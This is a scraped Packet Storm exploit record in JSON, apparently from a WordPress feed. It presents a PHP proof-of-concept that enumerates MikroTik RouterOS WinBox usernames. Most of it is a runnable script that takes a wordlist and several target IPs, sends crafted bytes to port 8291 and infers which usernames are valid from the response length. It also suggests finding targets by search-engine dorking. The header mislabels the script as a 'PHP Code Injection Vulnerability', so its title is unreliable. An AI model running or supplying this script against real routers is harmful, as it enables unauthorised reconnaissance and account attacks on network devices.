{“lastseen”:”2026-02-06T18:46:34″,”description”:”Proof of concept exploit for MikroTik RouterOS WinBox version 3.41 that demonstrates a username enumeration vulnerability…”,”published”:”2026-02-06T00:00:00″,”modified”:”2026-02-06T00:00:00″,”type”:”packetstorm”,”title”:”\ud83d\udcc4 MikroTik RouterOS WinBox 3.41 Username Enumeration”,”source”:””,”references”:””,”id”:”PACKETSTORM:215070″,”bulletinFamily”:”exploit”,”cwe”:null,”cvelist”:[],”sourceData”:”=============================================================================================================================================\\n | # Title : MikroTik RouterOS WinBox 3.41 PHP Code Injection Vulnerability |\\n | # Author : indoushka |\\n | # Tested on : windows 10 Fr(Pro) \/ browser : Mozilla firefox 135.0.1 (64 bits) |\\n | # Vendor : https:\/\/mikrotik.com\/download |\\n =============================================================================================================================================\\n \\n POC :\\n \\n [+] Dorking \u0130n Google Or Other Search Enggine.\\n \\n [+] Code Description:\\n \\n \\tThis code torrents usernames on MikroTik RouterOS via port 8291 (Winbox specific port) using wordlist. \\n \\tIdentification: Identification by length of probe whether the username is valid or not.\\n \\n [+] save code as poc.php .\\n \\n [+] USage : php poc.php wordlist.txt 192.168.1.1,192.168.1.2\\n \\n [+] PayLoad :\\n \\n \\u003c?php\\n \\n \/\/ \u062f\u0627\u0644\u0629 \u0642\u0631\u0627\u0621\u0629 \u0642\u0627\u0626\u0645\u0629 \u0627\u0644\u0643\u0644\u0645\u0627\u062a \u0645\u0646 \u0627\u0644\u0645\u0644\u0641\\n function read_wordlist($file_path) {\\n $wordlist = [];\\n try {\\n $lines = file($file_path, FILE_IGNORE_NEW_LINES | FILE_SKIP_EMPTY_LINES);\\n if ($lines !== false) {\\n $wordlist = $lines;\\n } else {\\n echo \\”Error reading wordlist.\\\\n\\”;\\n }\\n } catch (Exception $e) {\\n echo \\”Error reading wordlist: \\” . $e-\\u003egetMessage() . \\”\\\\n\\”;\\n }\\n return $wordlist;\\n }\\n \\n \/\/ \u062f\u0627\u0644\u0629 \u0625\u0646\u0634\u0627\u0621 \u0627\u0644\u062d\u0645\u0648\u0644\u0629 \u0628\u0646\u0627\u0621\u064b \u0639\u0644\u0649 \u0627\u0633\u0645 \u0627\u0644\u0645\u0633\u062a\u062e\u062f\u0645\\n function create_payload($base_payload, $username) {\\n $length = strlen($username);\\n $first_byte = chr(0x22 + $length); \/\/ \u062a\u0639\u062f\u064a\u0644 \u0623\u0648\u0644 \u0628\u0627\u064a\u062a \u0641\u064a \u0627\u0644\u062d\u0645\u0648\u0644\u0629\\n return $first_byte . substr($base_payload, 1, 1) . $username . substr($base_payload, 2);\\n }\\n \\n \/\/ \u062f\u0627\u0644\u0629 \u0645\u0639\u0627\u0644\u062c\u0629 \u0627\u0644\u0627\u0633\u062a\u062c\u0627\u0628\u0629 \u0644\u062a\u062d\u062f\u064a\u062f \u0635\u0644\u0627\u062d\u064a\u0629 \u0627\u0633\u0645 \u0627\u0644\u0645\u0633\u062a\u062e\u062f\u0645\\n function process_response($response) {\\n $response_length = strlen($response);\\n if ($response_length == 51) {\\n return \\”valid\\”;\\n } elseif ($response_length == 35) {\\n return \\”invalid\\”;\\n } else {\\n return \\”unknown\\”;\\n }\\n }\\n \\n \/\/ \u062f\u0627\u0644\u0629 \u0627\u0644\u0645\u0633\u062d \u0639\u0628\u0631 \u0627\u0644\u0623\u0647\u062f\u0627\u0641 \u0628\u0627\u0633\u062a\u062e\u062f\u0627\u0645 \u0642\u0627\u0626\u0645\u0629 \u0627\u0644\u0643\u0644\u0645\u0627\u062a\\n function scan_target($host, $port, $wordlist, $base_payload) {\\n echo \\”Scanning $host:$port…\\\\n\\”;\\n $valid_usernames = [];\\n \\n foreach ($wordlist as $username) {\\n $socket = @stream_socket_client(\\”tcp:\/\/$host:$port\\”, $errno, $errstr, 5); \/\/ \u0627\u0644\u0627\u062a\u0635\u0627\u0644 \u0628\u0627\u0644\u062e\u0627\u062f\u0645\\n if (!$socket) {\\n echo \\”Error connecting to $host:$port for username $username: $errstr ($errno)\\\\n\\”;\\n continue;\\n }\\n \\n $payload = create_payload($base_payload, $username);\\n echo \\”Sending payload for username: $username\\\\n\\”;\\n fwrite($socket, $payload);\\n \\n \/\/ \u0627\u0646\u062a\u0638\u0627\u0631 \u0627\u0644\u0627\u0633\u062a\u062c\u0627\u0628\u0629 \u0645\u0646 \u0627\u0644\u062e\u0627\u062f\u0645\\n $response = fread($socket, 1024);\\n $result = process_response($response);\\n \\n if ($result == \\”valid\\”) {\\n $valid_usernames[] = $username;\\n echo \\”Valid username found: $username\\\\n\\”;\\n } elseif ($result == \\”invalid\\”) {\\n echo \\”Invalid username: $username\\\\n\\”;\\n }\\n \\n fclose($socket);\\n \/\/ \u062a\u0623\u062e\u064a\u0631 \u0639\u0634\u0648\u0627\u0626\u064a \u0628\u064a\u0646 \u0627\u0644\u0645\u062d\u0627\u0648\u0644\u0627\u062a (\u0628\u064a\u0646 1 \u0648 3 \u062b\u0648\u0627\u0646\u064a)\\n sleep(rand(1, 3));\\n }\\n \\n return $valid_usernames;\\n }\\n \\n \/\/ \u0627\u0644\u062f\u0627\u0644\u0629 \u0627\u0644\u0631\u0626\u064a\u0633\u064a\u0629 \u0644\u0625\u062f\u0627\u0631\u0629 \u0627\u0644\u0645\u0633\u062d \u0639\u0628\u0631 \u0639\u062f\u0629 \u0623\u0647\u062f\u0627\u0641\\n function main($targets, $port, $wordlist_path) {\\n $wordlist = read_wordlist($wordlist_path);\\n if (empty($wordlist)) {\\n echo \\”Wordlist is empty or could not be loaded.\\\\n\\”;\\n return;\\n }\\n \\n $base_payload = \\”\\\\x22\\\\x06\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\”;\\n \\n foreach ($targets as $target) {\\n $valid_usernames = scan_target($target, $port, $wordlist, $base_payload);\\n echo \\”Results for $target: \\” . (empty($valid_usernames) ? \\”No valid usernames found\\” : implode(\\”, \\”, $valid_usernames)) . \\”\\\\n\\”;\\n }\\n }\\n \\n \/\/ \u0627\u0644\u062c\u0632\u0621 \u0627\u0644\u0630\u064a \u064a\u0642\u0648\u0645 \u0628\u062a\u0646\u0641\u064a\u0630 \u0627\u0644\u0628\u0631\u0646\u0627\u0645\u062c \u0645\u0646 \u0633\u0637\u0631 \u0627\u0644\u0623\u0648\u0627\u0645\u0631\\n if ($argc \\u003c 3) {\\n echo \\”Usage: php mikrotik_routeros_userenum_wordlist.php \\u003cwordlist_path\\u003e \\u003ctarget1,target2,…\\u003e\\\\n\\”;\\n exit(1);\\n }\\n \\n $wordlist_path = $argv[1];\\n $targets = explode(\\”,\\”, $argv[2]);\\n $port = 8291;\\n \\n main($targets, $port, $wordlist_path);\\n \\n ?\\u003e\\n \\n \\n Greetings to :=====================================================================================\\n jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|\\n ===================================================================================================”,”sourceHref”:”https:\/\/packetstorm.news\/download\/215070″,”cvss”:{“score”:0,”severity”:”NONE”,”vector”:”NONE”,”version”:”NONE”},”cvss2″:{},”cvss3″:{“version”:””,”vectorString”:””,”baseScore”:0,”baseSeverity”:””,”attackVector”:””,”attackComplexity”:””,”privilegesRequired”:””,”userInteraction”:””,”scope”:””,”confidentialityImpact”:””,”integrityImpact”:””,”availabilityImpact”:””,”cvssV3″:{“version”:””,”vectorString”:””,”baseScore”:0,”baseSeverity”:””,”attackVector”:””,”attackComplexity”:””,”privilegesRequired”:””,”userInteraction”:””,”scope”:””,”confidentialityImpact”:””,”integrityImpact”:””,”availabilityImpact”:””}},”href”:”https:\/\/packetstorm.news\/files\/id\/215070\/”,”category_name”:”Exploit”,”post_link”:””,”product”:””,”version”:””,”vendor”:””,”ai_description”:””,”ai_severity”:””,”ai_vendor”:””,”ai_product”:””,”ai_version”:””,”ai_score”:0}<\/p>\n","protected":false},"excerpt":{"rendered":"
{“lastseen”:”2026-02-06T18:46:34″,”description”:”Proof of concept exploit for MikroTik RouterOS WinBox version 3.41 that demonstrates a username enumeration vulnerability…”,”published”:”2026-02-06T00:00:00″,”modified”:”2026-02-06T00:00:00″,”type”:”packetstorm”,”title”:”\ud83d\udcc4 MikroTik RouterOS WinBox 3.41 Username Enumeration”,”source”:””,”references”:””,”id”:”PACKETSTORM:215070″,”bulletinFamily”:”exploit”,”cwe”:null,”cvelist”:[],”sourceData”:”=============================================================================================================================================\\n | # Title…<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[6,8,12,13,33,53,7,11,5],"class_list":["post-39476","post","type-post","status-publish","format-standard","hentry","category-category_exploit","tag-cve","tag-cvss","tag-exploit","tag-news","tag-none","tag-packetstorm","tag-security","tag-tapic","tag-vulnerability"],"yoast_head":"\n